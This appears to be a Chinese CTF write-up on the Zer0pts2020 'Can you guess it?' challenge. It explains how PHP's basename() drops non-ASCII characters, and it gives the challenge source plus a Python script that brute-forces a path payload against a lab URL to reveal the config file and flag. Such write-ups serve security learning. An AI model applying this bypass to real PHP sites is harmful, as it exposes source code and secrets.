知识点:

basename 函数,获取路径中的文件名;比如:test/inde.php/s   就会返回index,php

但是漏洞就是,它会去掉文件名开头的或者结尾的非ASCII值!

例题:

代码:

<?php
include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>

这里正则的绕过,不能让config.php结尾,在它后面加点东西就可以了,比如/a 等等,但是为了使后面的basename得到的结果为config.php,这后面加的东西不能乱加,那么就加非ASCII码的字符就行啦,给个脚本吧

import requests
import re
url='http://317e76c1-04cb-4fcc-87cd-ed754c929a09.node4.buuoj.cn:81/'
payload='/index.php/config.php/'
for i in range(1,255):payloads=payload+chr(i)+'?source'urls=url+payloadsprint(urls)r=requests.get(urls)if 'flag' in r.text:print(r.text)print("第几个字符,i",i)break

basename函数漏洞之[Zer0pts2020]Can you guess it?相关推荐

  1. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  2. PHP basename() 函数

    定义和用法 basename() 函数返回路径中的文件名部分. 语法 basename(path,suffix) 参数 描述 path 必需.规定要检查的路径. suffix 可选.规定文件扩展名.如 ...

  3. PHP中MD5函数漏洞

    题目描述 一个网页,不妨设URL为http://haha.com,打开之后是这样的 if (isset($_GET['a']) and isset($_GET['b'])) {if ($_GET['a ...

  4. R语言使用basename函数获取数据链接地址中的文件名称(removes all of the path up to and including the last path separator )

    R语言使用basename函数获取数据链接地址中的文件名称(removes all of the path up to and including the last path separator (i ...

  5. CTF web题总结--php函数漏洞

    php函数漏洞总结 1.ereg()截断漏洞 代码: <?php session_start(); if (isset($_POST['submit'])) {$verifycode = $_P ...

  6. php文件名函数,php 获取文件名basename()函数的用法总结

    PHP 中basename()函数给出一个包含有指向一个文件的全路径的字符串,此函数返回基本的文件名,本篇文章收集了关于使用PHP basename()函数获取文件名的几篇文章,希望对大家理解使用PH ...

  7. php字符长度函数漏洞 ctf,CTF中常见php-MD5()函数漏洞

    CTF中常见php-MD5()函数漏洞 1.数字与字符串之间的比较 var_dump( 0 == "a" ); var_dump( "0" == "a ...

  8. php文件名函数,详解php 获取文件名basename()函数的用法

    PHP 中basename()函数给出一个包含有指向一个文件的全路径的字符串,此函数返回基本的文件名,本篇文章收集了关于使用PHP basename()函数获取文件名的几篇文章,希望对大家理解使用PH ...

  9. basename函数 中文问题

    前段时间对学校一电影站做了点修改,动态生成文件给用户下载,其中需要向一个页面传递一些参数,有些是中文.今天再去看,发现在下载的时候文件名中的中文全部获取不到,php中使用的是basename函数,前几 ...

最新文章

  1. uboot引导kernel - 1 - Flash的分区
  2. 一文看懂当红Serverless:为何AWS、阿里云和腾讯云都在发力「无服务器架构」
  3. 什么是codepage?
  4. 1001 A+B Format (20 分)【难度: 简单 / 知识点: 模拟】
  5. THUPCCTSAPIO摸鱼被$\Huge{\color{black}{\mathbf{z}}\color{red}{\mathbf{zh}}}$爆踩记
  6. cp oracle,Oracle ASM使用asmcmd中的cp命令来执行远程复制
  7. 曾火爆一时的五笔输入法,为什么彻底衰落了?
  8. 三维绘图之Mayavi.mlab
  9. Ubuntu串口驱动安装及串口权限设置
  10. java怎么分解质因数,java分解质因数的方法
  11. 几种主流编程语言的优点和缺点比较,不服来怼
  12. 看看电销外呼系统排行,选择哪家外呼公司靠谱?
  13. Supervisor守护进程
  14. 学习vue笔记(5)
  15. numpy中的seed
  16. 电脑市场GHOST XP SP3_V9.9
  17. Microsoft Edge安装包官网下载链接(支持Windows、安卓、苹果)
  18. 2022电大国家开放大学网上形考任务-机电一体化系统设计基础非免费(非答案)
  19. ssd用在无盘服务器,无盘服务器用ssd
  20. golang 获取文件的MD5值

热门文章

  1. Win32无边框窗口
  2. 苹果手机使用技巧汇总,手把手教你如何快速使用苹果手机
  3. 2021--ICPC网络预选第一场--A Busiest Computing Nodes
  4. 2020编译原理练习记录(2)
  5. html地图周边搜索,高德地图API实现定位、地点搜索和周边搜索(H5/Vue/微信小程序)...
  6. 论文阅读——MobileNetV2: Inverted Residuals and Linear Bottlenecks
  7. android socket 长连接_java-socket长连接demo体验
  8. 1.学生党如何查找文献书籍
  9. 回顾12306数据泄露事件
  10. 秋冬季健康生活小常识